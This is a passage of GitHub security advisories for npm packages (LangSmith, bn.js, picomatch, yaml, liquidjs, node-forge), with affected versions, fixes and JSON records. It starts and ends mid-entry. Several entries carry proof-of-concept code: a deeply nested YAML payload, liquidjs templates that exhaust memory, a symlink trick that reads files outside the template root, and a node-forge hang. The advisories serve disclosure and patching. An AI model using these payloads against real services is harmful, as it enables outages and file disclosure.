unnecessary for third-party prompts, prefer the default (`false`) when pulling prompts from sources outside your organization.\n\nAvoid passing `secrets_from_env=True` (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.\n\n### Same-organization prompts\n\nPrompts pulled from the caller\u0027s own organization (referenced by name only, without an `owner/` prefix) are not gated by the new `dangerously_pull_public_prompt` flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked `LANGSMITH_API_KEY` or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.\n\nThe security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller\u0027s own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.\n\n## Credits\n\nFirst reported by @Moaaz-0x.",
"id": "GHSA-3644-q5cj-c5c7",
"modified": "2026-06-08T23:54:03Z",
"published": "2026-05-13T15:29:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45134"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langsmith-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning"
}
GHSA-378V-28HJ-76WF
Vulnerability from github – Published: 2026-02-20 06:30 – Updated: 2026-02-24 14:45This affects versions of the package bn.js before 4.12.3 and 5.2.3. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "bn.js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "bn.js"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2739"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-20T21:18:31Z",
"nvd_published_at": "2026-02-20T05:17:53Z",
"severity": "MODERATE"
},
"details": "This affects versions of the package bn.js before 4.12.3 and 5.2.3. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.",
"id": "GHSA-378v-28hj-76wf",
"modified": "2026-02-24T14:45:53Z",
"published": "2026-02-20T06:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2739"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/issues/186"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/issues/316"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/issues/316#issuecomment-3924217358"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/pull/317"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/commit/33df26b5771e824f303a79ec6407409376baa64b"
},
{
"type": "WEB",
"url": "https://gist.github.com/Kr0emer/02370d18328c28b5dd7f9ac880d22a91"
},
{
"type": "PACKAGE",
"url": "https://github.com/indutny/bn.js"
},
{
"type": "WEB",
"url": "https://github.com/indutny/bn.js/releases/tag/v5.2.3"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-BNJS-15274301"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "bn.js affected by an infinite loop"
}
GHSA-3V7F-55P6-F55P
Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };
Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33672"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:13:39Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n ```js\n const POSIX_REGEX_SOURCE = {\n __proto__: null,\n alnum: \u0027a-zA-Z0-9\u0027,\n alpha: \u0027a-zA-Z\u0027,\n // ... rest unchanged\n };\n \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
"id": "GHSA-3v7f-55p6-f55p",
"modified": "2026-03-27T21:36:24Z",
"published": "2026-03-25T21:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}
GHSA-48C2-RRV3-QJMP
Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.
The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.
Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).
Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.
All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
Test environment: Node.js v24.12.0, macOS darwin arm64
| Version | Nesting Depth | Input Size | Result |
|---|---|---|---|
| 1.0.0 | 5,000 | 10,001 B | RangeError |
| 1.10.2 | 5,000 | 10,001 B | RangeError |
| 2.0.0 | 5,000 | 10,001 B | RangeError |
| 2.8.2 | 5,000 | 10,001 B | RangeError |
| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |
Depth threshold on yaml 2.8.2:
| Nesting Depth | Input Size | Result |
|---|---|---|
| 500 | 1,001 B | Parses successfully |
| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |
| 5,000 | 10,001 B | RangeError |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33532"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:08:24Z",
"nvd_published_at": "2026-03-26T20:16:15Z",
"severity": "MODERATE"
},
"details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n YAML.parse(payload);\n} catch (e) {\n console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n console.log(e.message); // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
"id": "GHSA-48c2-rrv3-qjmp",
"modified": "2026-03-27T21:34:51Z",
"published": "2026-03-25T20:08:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
},
{
"type": "PACKAGE",
"url": "https://github.com/eemeli/yaml"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}
GHSA-4RC3-7J7W-M548
Vulnerability from github – Published: 2026-04-24 15:34 – Updated: 2026-05-13 13:38Summary
A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Details
In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.
Relevant code (src/tags/block.ts, getBlockRender method):
private getBlockRender (ctx: Context) {
const { liquid, templates } = this
const renderChild = ctx.getRegister('blocks')[this.block]
const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
ctx.push({ block: superBlock })
yield liquid.renderer.renderTemplates(templates, ctx, emitter)
ctx.pop()
}
return renderChild
? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
new BlockDrop(
(emitter: Emitter) => renderCurrent(superBlock, emitter)
),
emitter)
: renderCurrent
}
When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.
PoC
1. Create a layout file (layout.html):
<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>
2. Create a template that uses the layout:
{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}
3. Render:
const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM
The anonymous block variant also triggers the same issue:
{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}
Impact
Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.25.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41311"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T15:34:00Z",
"nvd_published_at": "2026-05-09T04:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with `FATAL ERROR: JavaScript heap out of memory`. This allows any user who can submit a Liquid template to perform a Denial of Service attack.\n\n### Details\n\nIn `src/tags/block.ts`, during OUTPUT mode, each block looks up its render function from `ctx.getRegister(\u0027blocks\u0027)[this.block]`. When a block with name `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block\u0027s render function and calls it. The outer block\u0027s templates contain the inner block again, creating infinite recursion with no termination condition.\n\nRelevant code (`src/tags/block.ts`, `getBlockRender` method):\n\n```typescript\nprivate getBlockRender (ctx: Context) {\n const { liquid, templates } = this\n const renderChild = ctx.getRegister(\u0027blocks\u0027)[this.block]\n const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {\n ctx.push({ block: superBlock })\n yield liquid.renderer.renderTemplates(templates, ctx, emitter)\n ctx.pop()\n }\n return renderChild\n ? (superBlock: BlockDrop, emitter: Emitter) =\u003e renderChild(\n new BlockDrop(\n (emitter: Emitter) =\u003e renderCurrent(superBlock, emitter)\n ),\n emitter)\n : renderCurrent\n}\n```\n\nWhen `renderChild` exists (same-name block found), it calls `renderChild` which re-renders templates containing the nested block, which again finds `renderChild`, and so on \u2014 infinite loop.\n\n### PoC\n\n**1. Create a layout file** (`layout.html`):\n\n```liquid\n\u003cheader\u003e{% block a %}default-a{% endblock %}\u003c/header\u003e\n\u003cmain\u003e{% block b %}default-b{% endblock %}\u003c/main\u003e\n\u003cfooter\u003e{% block c %}default-c{% endblock %}\u003c/footer\u003e\n```\n\n**2. Create a template that uses the layout:**\n\n```liquid\n{% layout \"layout\" %}\n{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}\n{% block b %}content-b{% endblock %}\n{% block c %}content-c{% endblock %}\n```\n\n**3. Render:**\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027)\nconst liquid = new Liquid({ root: \u0027./\u0027, extname: \u0027.html\u0027 })\nliquid.renderFile(\u0027template\u0027).then(console.log)\n// Result: process hangs, memory grows to ~4GB, then crashes with OOM\n```\n\nThe anonymous block variant also triggers the same issue:\n\n```liquid\n{% layout \"parent\" %}\n{%block%}A{%block%}B{%endblock%}{%endblock%}\n```\n\n### Impact\n\n**Denial of Service (DoS).** Any application that accepts user-provided or user-influenced Liquid templates \u2014 such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input \u2014 can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.",
"id": "GHSA-4rc3-7j7w-m548",
"modified": "2026-05-13T13:38:38Z",
"published": "2026-04-24T15:34:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41311"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "liquidjs has a Denial of Service via circular block reference in layout"
}
GHSA-56P5-8MHR-2FPH
Vulnerability from github – Published: 2026-04-08 15:03 – Updated: 2026-04-10 21:34Summary
LiquidJS enforces partial and layout root restrictions using the resolved pathname string, but it does not resolve the canonical filesystem path before opening the file. A symlink placed inside an allowed partials or layouts directory can therefore point to a file outside that directory and still be loaded.
Details
For {% include %}, {% render %}, and {% layout %}, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based.
Because of that, a file like partials/link.liquid passes the directory containment check as long as its pathname is under the allowed root. If link.liquid is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target.
So the restriction is applied to the path string that was requested, not to the file that is actually read.
This matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees.
PoC
const { Liquid } = require('liquidjs');
const fs = require('fs');
fs.rmSync('/tmp/liquid-root', { recursive: true, force: true });
fs.mkdirSync('/tmp/liquid-root', { recursive: true });
fs.writeFileSync('/tmp/secret-outside.liquid', 'SECRET_OUTSIDE');
fs.symlinkSync('/tmp/secret-outside.liquid', '/tmp/liquid-root/link.liquid');
const engine = new Liquid({ root: ['/tmp/liquid-root'] });
engine.parseAndRender('{% render "link.liquid" %}')
.then(console.log);
// SECRET_OUTSIDE
Impact
If an attacker can place or influence symlinks under a trusted partials or layouts directory, they can make LiquidJS read and render files outside the intended template root. In practice this can expose arbitrary readable files reachable through symlink targets.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.25.2"
},
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.25.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35525"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T15:03:47Z",
"nvd_published_at": "2026-04-08T20:16:24Z",
"severity": "HIGH"
},
"details": "### Summary\n\nLiquidJS enforces partial and layout root restrictions using the resolved pathname string, but it does not resolve the canonical filesystem path before opening the file. A symlink placed inside an allowed partials or layouts directory can therefore point to a file outside that directory and still be loaded.\n\n### Details\n\nFor `{% include %}`, `{% render %}`, and `{% layout %}`, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based.\n\nBecause of that, a file like `partials/link.liquid` passes the directory containment check as long as its pathname is under the allowed root. If `link.liquid` is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target.\n\nSo the restriction is applied to the path string that was requested, not to the file that is actually read.\n\nThis matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees.\n\n### PoC\n\n```js\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst fs = require(\u0027fs\u0027);\n\nfs.rmSync(\u0027/tmp/liquid-root\u0027, { recursive: true, force: true });\nfs.mkdirSync(\u0027/tmp/liquid-root\u0027, { recursive: true });\n\nfs.writeFileSync(\u0027/tmp/secret-outside.liquid\u0027, \u0027SECRET_OUTSIDE\u0027);\nfs.symlinkSync(\u0027/tmp/secret-outside.liquid\u0027, \u0027/tmp/liquid-root/link.liquid\u0027);\n\nconst engine = new Liquid({ root: [\u0027/tmp/liquid-root\u0027] });\n\nengine.parseAndRender(\u0027{% render \"link.liquid\" %}\u0027)\n .then(console.log);\n// SECRET_OUTSIDE\n```\n\n### Impact\n\nIf an attacker can place or influence symlinks under a trusted partials or layouts directory, they can make LiquidJS read and render files outside the intended template root. In practice this can expose arbitrary readable files reachable through symlink targets.",
"id": "GHSA-56p5-8mhr-2fph",
"modified": "2026-04-10T21:34:31Z",
"published": "2026-04-08T15:03:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-56p5-8mhr-2fph"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35525"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/pull/867"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LiquidJS: Root restriction bypass for partial and layout loading through symlinked templates"
}
GHSA-5M6Q-G25R-MVWX
Vulnerability from github – Published: 2026-03-26 21:57 – Updated: 2026-03-27 21:50Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package
Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
Vulnerability Details
Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js:
javascriptfunction bnModInverse(m) {
// ... setup ...
// No check for this == 0
// Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}
Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
Proof of Concept
Environment Setup
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
Expected Output
[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s
-> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On
node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows
Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:
function bnModInverse(m) {
var ac = m.isEven();
// Add this check:
if (this.signum() == 0) {
throw new Error('BigInteger has no modular inverse: input is zero');
}
// ... rest of the existing implementation ...
}
Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
